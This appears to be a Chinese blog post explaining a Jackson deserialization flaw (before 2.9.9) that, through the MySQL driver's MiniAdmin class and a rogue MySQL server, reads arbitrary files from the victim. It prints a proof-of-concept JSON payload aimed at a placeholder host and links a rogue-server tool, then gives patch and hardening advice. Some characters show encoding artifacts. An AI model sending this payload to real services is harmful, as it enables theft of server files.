上周升級(jí)完Fastjson之后,去了解了下Jackson是否也有相關(guān)的漏洞。
果不其然,看到了一個(gè)issue

雖然這個(gè)issue是好幾個(gè)月前的了,但是可能大家對(duì)Jackson比較不在意,以為國(guó)外的開(kāi)源要牛逼一點(diǎn),不會(huì)像Fastjson那么多問(wèn)題,這里要糾正一點(diǎn),fastjson之所以問(wèn)題多,那是因?yàn)槟憬佑|的多,Jackson的問(wèn)題其實(shí)也不少,只是你接觸的少。
就拿這種issue的問(wèn)題來(lái)說(shuō),這個(gè)漏洞也很嚴(yán)重,攻擊者可以通過(guò)構(gòu)造特殊的字符串,然后在特定條件下可以悄無(wú)聲息的竊取你服務(wù)器上的文件數(shù)據(jù)。
可怕不?但是恐怕知道的人不多,很多服務(wù)還是依賴著低版本的Jackson,也沒(méi)升級(jí)。
解釋下到底是什么漏洞,這么危險(xiǎn)!
使用了Jackson 2.9.9之前的Java應(yīng)用,如果服務(wù)依賴了mysql-connector-java,那么這個(gè)服務(wù)所在機(jī)器上的文件,就可能被任意讀取走。
下面是具體原理分析。
先看下Json序列化對(duì)多態(tài)性的處理方式
public static class Person {
public String name;
public int age;
public Pet pet;
}
public static abstract class Pet {
public String name;
}
public static class Dog extends Pet {
public int age;
}
public static class Cat extends Pet {
}
ObjectMapper om = new ObjectMapper();
Person p = new Person();
p.name = "小黑";
p.age = 28;
Dog pet = new Dog();
pet.name = "小強(qiáng)";
pet.age = 2;
p.pet = pet;
System.out.println(om.writeValueAsString(p));
序列化之后
{"name":"小黑","age":28,"pet":{"name":"小強(qiáng)","age":2}}
序列化后類型消失,反序列化時(shí)因?yàn)镻et是抽象類,不知道該創(chuàng)建哪一個(gè)子類的對(duì)象。
但是Jackson提供了Default Typing,在開(kāi)啟的時(shí)候,可以序列化出更具體的類型。
ObjectMapper om = new ObjectMapper();
om.enableDefaultTyping();
得到的結(jié)果:
{"name":"小黑","age":28,"pet":["***.Dog",{"name":"小強(qiáng)","age":2}]}
所以,Jackson在開(kāi)啟Default Typing特性之后,就可以初始化一個(gè)具體的實(shí)例。
這個(gè)講完之后,我們看下漏洞的最終元兇,MySQL的一個(gè)特殊用法:支持使用LOAD DATA LOCAL INFILE這樣的語(yǔ)法,只要客戶端連上某個(gè)MySQL服務(wù),就可以把客戶端本地文件的數(shù)據(jù)插入到這個(gè)MySQL的某個(gè)表中。
大概過(guò)程是這樣的:
- 用戶在客戶端輸入:load data local infile "/data.csv" into table test;
- 客戶端=>服務(wù)端:我想把我本地的/data.csv文件插入到test表中;
- 服務(wù)端=>客戶端:把你本地的/data.csv發(fā)給我;
- 客戶端=>服務(wù)端:/data.csv文件的內(nèi)容;
這里有一個(gè)問(wèn)題,客戶端發(fā)送哪個(gè)文件的內(nèi)容,取決于第3步,如果服務(wù)端是個(gè)惡意的MySQL服務(wù),那么他可以讀取客戶端的任意文件,比如讀取/etc/passwd:
- 用戶在客戶端輸入:load data local infile "/data.csv" into table test;
- 客戶端=>服務(wù)端:我想把我本地的/data.csv文件插入到test表中;
- 服務(wù)端=>客戶端:把你本地的/etc/passwd發(fā)給我;
- 客戶端=>服務(wù)端:/etc/passwd文件的內(nèi)容;
然后密碼文件的內(nèi)容就這樣被嫖了。
引用MySQL官方文檔如下:
In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement.
理論上,可以構(gòu)建一個(gè)偽裝服務(wù)器,它將告訴客戶端傳送一個(gè)服務(wù)指定的而不是通過(guò)客戶端LOAD DATA語(yǔ)句指定的文件,意味著,我要什么,你就得給我什么,所以所有文件都可能泄露。
具體如何讓服務(wù)中的MySQL客戶端可以聽(tīng)我指揮,連到我預(yù)謀已久的MySQL服務(wù)呢?
首先,在MySQL的JDBC驅(qū)動(dòng)中有一個(gè)創(chuàng)建連接的配置allowLoadLocalInfile,控制是否可以從本地讀取文件,默認(rèn)是可以的。
另外,不知道從哪個(gè)版本開(kāi)始,MySQL的JDBC驅(qū)動(dòng)多了一個(gè)類com.mysql.cj.jdbc.admin.MiniAdmin,可能沒(méi)什么人用過(guò),平時(shí)也用不到,但是它的牛逼之處在于可以創(chuàng)建一個(gè)到執(zhí)行URL的JDBC連接。
public class MiniAdmin {
private JdbcConnection conn;
public MiniAdmin(String jdbcUrl) throws SQLException {
this(jdbcUrl, new Properties());
}
public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
this.conn = (JdbcConnection) (new Driver().connect(jdbcUrl, props));
}
...
}
想想,如果這個(gè)URL是我的那個(gè)偽裝的MySQL服務(wù),是不是就可以控制這個(gè)客戶端輕松練上來(lái),然后做一些不為人知的事情了。
事實(shí)上,確實(shí)可以。通過(guò)Jackson的反序列化特殊字符串,可以觸發(fā)MiniAdmin的初始化,然后就在構(gòu)造方法里創(chuàng)建一個(gè)到指定我MySQL服務(wù)的JDBC連接。
我們動(dòng)手創(chuàng)建一個(gè)惡意的MySQL服務(wù),可以使用https://github.com/Gifts/Rogue-MySql-Server,這個(gè)服務(wù)會(huì)讀取客戶端文件,并寫(xiě)入到mysql.log中。
啟動(dòng)服務(wù),假設(shè)服務(wù)地址為:X.X.X.X.
ObjectMapper om = new ObjectMapper();
om.enableDefaultTyping();
String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
Object obj = om.readValue(poc, Object.class);
在客戶端中執(zhí)行如上代碼,端口號(hào)和文件號(hào)在Rogue-MySql-Server中寫(xiě)死了,執(zhí)行完之后,機(jī)器上的c:\windows\win.ini文件內(nèi)容就會(huì)出現(xiàn)在mysql.log中。
在實(shí)際的生產(chǎn)環(huán)境中,可以通過(guò)往一些接受JSON參數(shù)的接口發(fā)送惡意的JSON數(shù)據(jù)來(lái)達(dá)成攻擊的目的。
MySQL方面,從8.0.15開(kāi)始將allowLoadLocalInfile默認(rèn)值設(shè)置為false。

Jackson方面,從2.9.9版本開(kāi)始,將com.mysql.cj.jdbc.admin.MiniAdmin加入反序列化黑名單:
怎么保護(hù)自己的系統(tǒng)
1、反序列化的坑,很大!需要盡量避免使用Object對(duì)象作為Jackson反序列化的目標(biāo)。
2、序列化工具,該升級(jí)的要升級(jí),不能拖!